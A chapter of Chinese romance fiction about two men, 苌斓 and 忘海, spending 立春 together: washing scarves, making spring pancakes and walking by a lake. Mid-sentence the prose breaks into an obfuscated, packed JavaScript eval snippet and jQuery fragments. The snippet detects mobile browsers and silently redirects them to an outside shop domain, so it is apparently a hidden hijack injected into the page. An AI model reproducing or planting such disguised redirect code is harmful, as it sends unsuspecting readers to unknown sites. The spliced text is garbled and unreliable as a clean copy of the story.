立春那天，苌斓翻出了去年收进柜子里的薄围巾。两条灰色围巾在衣架上挂了整整一个冬天，浸透了寒风和雪沫的气息，他凑近闻了闻，有淡淡的樟脑味，还有忘海养母衣柜里那种旧旧的皂香。他把围巾泡在温水里，倒了一点柔顺剂，用手轻轻揉搓。水慢慢变成了极淡的灰色，像冬天最后一场雪化在泥土里的颜色。他洗得很仔细，每一寸都搓过去，最后拧干时发现虎口上那道切菜留下的疤被凉水激得微微泛红，和忘海虎口上那道切核桃的旧疤位置一模一样。
忘海从书房出来倒水，看见他蹲在卫生间里洗围巾，袖子卷到手肘，手腕上还沾着泡沫。他靠在门框上看了一会儿，走过去把他袖子往上又卷了一圈。“水太凉了。用温水。”“立春了，不凉。”苌斓把围巾拧干，抖开，对着灯光看了看——边缘那块暗红色的痕迹还在，是很久以前在天台上摔伤时流的血，洗过无数遍，还是有一点淡淡的影子。他把围巾挂在阳台上，两条并排，被风吹得轻轻晃动。
“今天立春，晚上吃春饼。”他一边说一边走向厨房，把面粉从柜子里拿出来，鸡蛋、豆芽、韭菜、粉丝，一样一样摆在料理台上，动作很熟练，和冬至包饺子时一模一样。
忘海站在阳台门口，回头看了看那两条围巾，又看了看在厨房里忙碌的苌斓。他想起很久以前在天台上堆雪人，苌斓堆的那个歪歪扭扭，精致那个是他堆的，两个雪人靠在一起，被新雪覆盖了一点点。后来雪化了，雪人没了，但围巾还在。春天来了，围巾洗好了，雪人会变成雨水渗进土里，等来年再落在他们肩头。
傍晚，春饼端上桌。饼皮烙得薄薄的，透光能看到里面的豆芽和韭菜。苌斓把甜面酱抹匀，放上炒好的合菜，卷成一个紧实的卷，递给忘海，然后又卷了一个给自己。忘海咬了一口——韭菜很嫩，豆芽脆生生的，饼皮有嚼劲，和以前养母做的春饼一模一样。“酱放多了。有点咸。”“明年少放半勺。”苌斓把自己那卷也咬了一口，腮帮子鼓鼓的，含糊不清地说明年你来卷，我每次酱都抹不匀。忘海伸手把他嘴角沾的酱擦掉。“好，明年我卷。”
吃完饭，两人窝在沙发上。电视里放着新闻，声音开得很小。阳台上的围巾被晚风吹得轻轻晃动，像两只并排飞的风筝。茶几上紫砂杯安静地立在杯垫上，杯口朝外，杯身上那些被胶水粘合的裂缝在灯光下泛着极淡的光泽。保温杯还是两个，一个深蓝一个浅蓝，杯盖上的磕痕还在。
“今天立春。我们晚上去公园散步。”
“好。”
公园里的梧桐树还没发芽，光秃秃的枝丫直直伸向深蓝色的夜空。但路边的小草已经冒出了嫩绿的尖，一小撮一小撮，挤在枯叶和泥土之间。苌斓走在前头，围巾被风吹得飘起来。他走几步就回头看一眼，像以前母亲在商场里回头看他一样，怕忘海跟丢了。他们并肩走到湖边，在长椅上坐下来。湖面上还结着一层薄冰，冰面下能听到细微的流水声，像春天在敲一扇半开半掩的门。
“你记不记得有一年立春下了很大的雪。你跟我说春天也会下雪，我当时不信。后来真的下了，很大。你说你活了那么多世，什么都知道。我说那你知不知道我什么时候会不害怕春天。”苌斓看着湖面上的薄冰，声音很轻。
“现在知道了。”忘海侧头看着他，“你洗围巾的时候，卷春饼的时候，晚上在沙发上靠着我睡着的时候。春天来了，你不再害怕了。”
苌斓没有说话，只是把手从口袋里抽出来，放在长椅上，掌心朝上。忘海把自己的手覆上去，十指交扣。湖面上的薄冰裂开一道细缝，月光照在缝上，泛着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724412|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
银色的光。
回到家，苌斓把阳台上晾干的围巾收进来，叠好放进衣柜里。然后他走到书桌前，拉开抽屉，拿出那张拼好的购物小票。红糖、红枣、桂圆、枸杞，母亲用指甲一道一道画出的痕迹被透明胶带封得严严实实。他看了一会儿，把它放回去，又拿出针线盒里那团灰色毛线，坐下来开始绕。毛线还剩一小半，绕完刚好够织一条新围巾的起针。他一边绕一边想，明年立春要织两条薄的——一条给自己，一条给忘海。颜色还是灰色，但毛线要换细一点的，春天围厚围巾太热了。
忘海端着两杯温水走过来，放在茶几上。他看着苌斓绕毛线的侧脸，忽然想起冬至那天傍晚苌斓站在厨房里，围裙系得端端正正，阳光落在他沾着面粉的手指上。他当时说“你好像在发光”。现在苌斓坐在台灯下绕毛线，手指还是沾过面粉、切过菜、洗过围巾的那双手，他觉得那句话没有说错——这个人确实在发光。不是那种刺眼的光，是那种温温的、柔和的、像保温杯里红枣茶冒出的热气一样的光。从冬至到立春，从包饺子到卷春饼，从洗围巾到绕毛线，每一个寻常的日子里他都在发光。
他走过去在苌斓旁边坐下。苌斓把毛线绕完最后一圈，把线团放进针线盒里盖上盖子。然后抬头看着忘海，问他在想什么。忘海说，在想明年立春。明年立春你会卷春饼，酱还是会放多。苌斓说那你也还是会帮我擦嘴角。忘海说嗯，擦一辈子。苌斓没有说话，只是把头靠在他肩膀上，过了很久才极轻极轻地应了一声。窗外梧桐树光秃秃的枝丫在夜风里轻轻晃动，保温杯里的红枣茶还冒着热气。明天早上豆浆机还是会准时响起，围巾还是会换着戴。立春过了就是雨水，雨水过了就是惊蛰，梧桐树会重新发芽，他们会继续站在路口等对方。和以前一样，和以后也一样。